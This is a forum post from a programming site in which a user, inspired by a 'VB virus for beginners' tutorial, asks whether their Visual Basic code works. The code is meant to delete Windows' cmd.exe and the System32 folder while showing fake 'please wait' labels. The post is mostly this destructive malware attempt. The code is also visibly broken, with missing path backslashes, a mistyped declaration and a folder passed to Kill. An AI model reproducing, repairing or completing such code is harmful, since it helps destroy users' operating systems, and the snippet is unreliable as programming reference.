Does This Work? - Programmers Heaven

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Categories

Welcome to the new platform of Programmer's Heaven! We apologize for the inconvenience caused, if you visited us from a broken link of the previous version. The main reason to move to a new platform is to provide more effective and collaborative experience to you all. Please feel free to experience the new platform and use its exciting features. Contact us for any issue that you need to get clarified. We are more than happy to help you.

Does This Work?

Hi I Recently read The Vb Virus for Begginners Only And Came up With An "Extra" Heres the Code And Will It Work to Delete Both CMD And System32 Files

[color=Blue][size=5]Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:WINDOWSsystem32cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
im targetfile As String
targetfile = "C:WINDOWSsystem32"
Kill targetfile
Label1.Caption = " Deleting System32.exe...please wait "
Timer1.Enabled = True

End Sub

Private Sub Form_Activate()
Timer1.Enabled = False

End Sub

Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub[/size][/color]

Thanks
Sign In or Register to comment.